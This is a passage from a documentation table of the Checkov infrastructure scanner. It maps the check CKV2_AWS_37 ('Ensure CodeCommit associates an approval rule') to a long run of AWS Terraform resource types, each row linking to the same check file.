[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1699 | CKV2_AWS_37 | resource | aws_route53_hosted_zone_dnssec | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1700 | CKV2_AWS_37 | resource | aws_route53_key_signing_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1701 | CKV2_AWS_37 | resource | aws_route53_query_log | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1702 | CKV2_AWS_37 | resource | aws_route53_record | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1703 | CKV2_AWS_37 | resource | aws_route53_resolver_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1704 | CKV2_AWS_37 | resource | aws_route53_resolver_dnssec_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1705 | CKV2_AWS_37 | resource | aws_route53_resolver_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1706 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1707 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_domain_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1708 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1709 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1710 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1711 | CKV2_AWS_37 | resource | aws_route53_resolver_query_log_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1712 | CKV2_AWS_37 | resource | aws_route53_resolver_query_log_config_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1713 | CKV2_AWS_37 | resource | aws_route53_resolver_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1714 | CKV2_AWS_37 | resource | aws_route53_resolver_rule_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1715 | CKV2_AWS_37 | resource | aws_route53_traffic_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1716 | CKV2_AWS_37 | resource | aws_route53_traffic_policy_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1717 | CKV2_AWS_37 | resource | aws_route53_vpc_association_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1718 | CKV2_AWS_37 | resource | aws_route53_zone | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1719 | CKV2_AWS_37 | resource | aws_route53_zone_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1720 | CKV2_AWS_37 | resource | aws_route53domains_delegation_signer_record | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1721 | CKV2_AWS_37 | resource | aws_route53domains_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1722 | CKV2_AWS_37 | resource | aws_route53domains_registered_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1723 | CKV2_AWS_37 | resource | aws_route53profiles_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1724 | CKV2_AWS_37 | resource | aws_route53profiles_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1725 | CKV2_AWS_37 | resource | aws_route53profiles_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1726 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1727 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1728 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1729 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1730 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_cell | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1731 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_readiness_check | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1732 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_recovery_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1733 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_resource_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1734 | CKV2_AWS_37 | resource | aws_route_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1735 | CKV2_AWS_37 | resource | aws_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1736 | CKV2_AWS_37 | resource | aws_rum_app_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1737 | CKV2_AWS_37 | resource | aws_rum_metrics_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1738 | CKV2_AWS_37 | resource | aws_s3_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1739 | CKV2_AWS_37 | resource | aws_s3_account_public_access_block | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1740 | CKV2_AWS_37 | resource | aws_s3_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1741 | CKV2_AWS_37 | resource | aws_s3_bucket_accelerate_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1742 | CKV2_AWS_37 | resource | aws_s3_bucket_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1743 | CKV2_AWS_37 | resource | aws_s3_bucket_analytics_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1744 | CKV2_AWS_37 | resource | aws_s3_bucket_cors_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1745 | CKV2_AWS_37 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1746 | CKV2_AWS_37 | resource | aws_s3_bucket_inventory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1747 | CKV2_AWS_37 | resource | aws_s3_bucket_lifecycle_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1748 | CKV2_AWS_37 | resource | aws_s3_bucket_logging | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1749 | CKV2_AWS_37 | resource | aws_s3_bucket_metric | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1750 | CKV2_AWS_37 | resource | aws_s3_bucket_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1751 | CKV2_AWS_37 | resource | aws_s3_bucket_object | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1752 | CKV2_AWS_37 | resource | aws_s3_bucket_object_lock_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1753 | CKV2_AWS_37 | resource | aws_s3_bucket_ownership_controls | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1754 | CKV2_AWS_37 | resource | aws_s3_bucket_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1755 | CKV2_AWS_37 | resource | aws_s3_bucket_public_access_block | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1756 | CKV2_AWS_37 | resource | aws_s3_bucket_replication_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1757 | CKV2_AWS_37 | resource | aws_s3_bucket_request_payment_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1758 | CKV2_AWS_37 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1759 | CKV2_AWS_37 | resource | aws_s3_bucket_versioning | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1760 | CKV2_AWS_37 | resource | aws_s3_bucket_website_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1761 | CKV2_AWS_37 | resource | aws_s3_directory_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1762 | CKV2_AWS_37 | resource | aws_s3_object | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1763 | CKV2_AWS_37 | resource | aws_s3_object_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1764 | CKV2_AWS_37 | resource | aws_s3control_access_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1765 | CKV2_AWS_37 | resource | aws_s3control_access_grants_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1766 | CKV2_AWS_37 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1767 | CKV2_AWS_37 | resource | aws_s3control_access_grants_location | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1768 | CKV2_AWS_37 | resource | aws_s3control_access_point_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1769 | CKV2_AWS_37 | resource | aws_s3control_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1770 | CKV2_AWS_37 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1771 | CKV2_AWS_37 | resource | aws_s3control_bucket_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1772 | CKV2_AWS_37 | resource | aws_s3control_multi_region_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1773 | CKV2_AWS_37 | resource | aws_s3control_multi_region_access_point_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1774 | CKV2_AWS_37 | resource | aws_s3control_object_lambda_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1775 | CKV2_AWS_37 | resource | aws_s3control_object_lambda_access_point_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1776 | CKV2_AWS_37 | resource | aws_s3control_storage_lens_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1777 | CKV2_AWS_37 | resource | aws_s3outposts_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1778 | CKV2_AWS_37 | resource | aws_s3tables_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1779 | CKV2_AWS_37 | resource | aws_s3tables_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1780 | CKV2_AWS_37 | resource | aws_s3tables_table_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1781 | CKV2_AWS_37 | resource | aws_s3tables_table_bucket_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1782 | CKV2_AWS_37 | resource | aws_s3tables_table_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1783 | CKV2_AWS_37 | resource | aws_sagemaker_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1784 | CKV2_AWS_37 | resource | aws_sagemaker_app_image_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1785 | CKV2_AWS_37 | resource | aws_sagemaker_code_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1786 | CKV2_AWS_37 | resource | aws_sagemaker_data_quality_job_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1787 | CKV2_AWS_37 | resource | aws_sagemaker_device | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1788 | CKV2_AWS_37 | resource | aws_sagemaker_device_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1789 | CKV2_AWS_37 | resource | aws_sagemaker_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1790 | CKV2_AWS_37 | resource | aws_sagemaker_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1791 | CKV2_AWS_37 | resource | aws_sagemaker_endpoint_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1792 | CKV2_AWS_37 | resource | aws_sagemaker_feature_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1793 | CKV2_AWS_37 | resource | aws_sagemaker_flow_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1794 | CKV2_AWS_37 | resource | aws_sagemaker_hub | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1795 | CKV2_AWS_37 | resource | aws_sagemaker_human_task_ui | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1796 | CKV2_AWS_37 | resource | aws_sagemaker_image | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1797 | CKV2_AWS_37 | resource | aws_sagemaker_image_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1798 | CKV2_AWS_37 | resource | aws_sagemaker_mlflow_tracking_server | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1799 | CKV2_AWS_37 | resource | aws_sagemaker_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1800 | CKV2_AWS_37 | resource | aws_sagemaker_model_package_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1801 | CKV2_AWS_37 | resource | aws_sagemaker_model_package_group_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1802 | CKV2_AWS_37 | resource | aws_sagemaker_monitoring_schedule | Ensure CodeCommit associates an approval rule | Terraform | 